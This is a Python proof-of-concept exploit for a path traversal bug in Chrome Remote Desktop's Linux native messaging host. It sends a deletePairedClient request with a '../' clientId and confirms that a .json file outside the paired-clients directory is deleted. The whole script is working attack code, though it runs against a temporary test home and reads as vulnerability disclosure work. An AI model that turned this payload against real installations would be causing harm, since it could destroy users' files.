#!/usr/bin/env python3
"""
POC: Path traversal in PairingRegistryDelegateLinux::Delete
     (remoting/host/pairing_registry_delegate_linux.cc:139-145)

This script speaks the Chrome native-messaging stdio protocol directly to the
Chrome Remote Desktop me2me native messaging host binary, exactly as Chrome
would on behalf of the (allow-listed) CRD companion extension. It sends a
`deletePairedClient` request with a clientId containing `../` sequences and
verifies that a .json file OUTSIDE the paired-clients registry directory is
deleted.

The host computes:
    $HOME/.config/chrome-remote-desktop/paired-clients/<clientId>.json
and passes it straight to base::DeleteFile() with no normalization or
ReferencesParent() check. The kernel resolves the `..` components.
"""

import json
import os
import shutil
import struct
import subprocess
import sys
import threading
import time

CHROMIUM_OUT = os.environ.get(
    "CHROMIUM_OUT", "/chromium/chromium/src/out/asan")
HOST_BIN = os.path.join(CHROMIUM_OUT, "remoting_native_messaging_host")

POC_HOME = "/tmp/crd-poc-home"
REGISTRY_DIR = os.path.join(
    POC_HOME, ".config", "chrome-remote-desktop", "paired-clients")
# A file in $HOME — well outside the paired-clients registry — that the
# attacker wants to delete. (.json suffix is forced by the format string.)
VICTIM_DIR = os.path.join(POC_HOME, "victim")
VICTIM_FILE = os.path.join(VICTIM_DIR, "secret.json")

# Three ".." hops: paired-clients -> chrome-remote-desktop -> .config -> $HOME
TRAVERSAL_CLIENT_ID = "../../../victim/secret"


def frame(obj: dict) -> bytes:
    """Chrome native-messaging wire format: uint32 LE length + UTF-8 JSON."""
    body = json.dumps(obj).encode("utf-8")
    return struct.pack("<I", len(body)) + body


def read_frames(pipe, sink):
    """Read native-messaging frames from the host's stdout into `sink`."""
    try:
        while True:
            hdr = pipe.read(4)
            if len(hdr) < 4:
                return
            (n,) = struct.unpack("<I", hdr)
            body = pipe.read(n)
            if len(body) < n:
                return
            try:
                sink.append(json.loads(body))
            except Exception:
                sink.append({"_raw": body.decode(errors="replace")})
    except Exception:
        return


def main() -> int:
    if not os.path.exists(HOST_BIN):
        print(f"[!] host binary not found: {HOST_BIN}", file=sys.stderr)
        print(f"[!] build it with: autoninja -C out/asan "
              f"remoting_native_messaging_host", file=sys.stderr)
        return 2

    # --- environment setup -------------------------------------------------
    if os.path.isdir(POC_HOME):
        shutil.rmtree(POC_HOME)
    os.makedirs(REGISTRY_DIR)   # paired-clients/ must exist for ".." resolution
    os.makedirs(VICTIM_DIR)
    with open(VICTIM_FILE, "w") as f:
        f.write('{"note": "if this file disappears, the traversal worked"}\n')

    print("[*] setup:")
    print(f"    HOME          = {POC_HOME}")
    print(f"    registry dir  = {REGISTRY_DIR}")
    print(f"    victim file   = {VICTIM_FILE}")
    print(f"    victim exists before attack: {os.path.exists(VICTIM_FILE)}")
    assert os.path.exists(VICTIM_FILE)

    # --- launch the native messaging host ----------------------------------
    env = dict(os.environ)
    env["HOME"] = POC_HOME

    # Chrome passes the calling extension origin as argv[1]; the host ignores
    # it but pass something plausible for fidelity.
    argv = [
        HOST_BIN,
        "chrome-extension://inomeogfingihgjfjlpeplalcfajhgai/",
    ]

    # If strace is available, wrap the host with it to capture the unlinkat()
    # syscall as additional hard evidence. The before/after file-existence
    # check below is sufficient on its own; strace is purely informational.
    strace_log = "/tmp/crd-poc-strace.log"
    have_strace = shutil.which("strace") is not None
    if have_strace:
        cmd = ["strace", "-f", "-e", "trace=unlink,unlinkat",
               "-o", strace_log] + argv
    else:
        cmd = argv

    print(f"\n[*] launching: {' '.join(cmd)}")
    proc = subprocess.Popen(
        cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
        stderr=subprocess.PIPE, env=env)

    responses = []
    reader = threading.Thread(
        target=read_frames, args=(proc.stdout, responses), daemon=True)
    reader.start()

    # --- send the malicious request ----------------------------------------
    print(f"\n[*] sending native-messaging requests:")
    msgs = [
        {"id": 1, "type": "hello"},
        {"id": 2, "type": "deletePairedClient", "clientId": TRAVERSAL_CLIENT_ID},
    ]
    for m in msgs:
        print(f"    -> {json.dumps(m)}")
        proc.stdin.write(frame(m))
    proc.stdin.flush()

    # Give the host's IO thread a moment to run DoDelete, then close stdin
    # so the run loop exits cleanly.
    time.sleep(2.0)
    proc.stdin.close()
    try:
        proc.wait(timeout=15)
    except subprocess.TimeoutExpired:
        proc.kill()
        proc.wait()

    reader.join(timeout=2.0)

    # --- results -----------------------------------------------------------
    print(f"\n[*] host responses:")
    for r in responses:
        print(f"    <- {json.dumps(r)}")

    stderr = proc.stderr.read().decode(errors="replace")
    if stderr.strip():
        print(f"\n[*] host stderr:")
        for line in stderr.splitlines():
            print(f"    {line}")

    if have_strace:
        print(f"\n[*] strace unlink* syscalls:")
        try:
            with open(strace_log) as f:
                for line in f:
                    if "unlink" in line:
                        print(f"    {line.rstrip()}")
        except FileNotFoundError:
            print("    (strace log not found)")

    exists_after = os.path.exists(VICTIM_FILE)
    print(f"\n[*] victim exists after attack:  {exists_after}")

    if not exists_after:
        print("\n[+] PATH TRAVERSAL CONFIRMED")
        print(f"[+] {VICTIM_FILE} was deleted via "
              f"clientId='{TRAVERSAL_CLIENT_ID}'")
        print(f"[+] The host unlinked a file outside its registry directory.")
        return 0
    else:
        print("\n[-] victim file still present — traversal not triggered")
        return 1


if __name__ == "__main__":
    sys.exit(main())
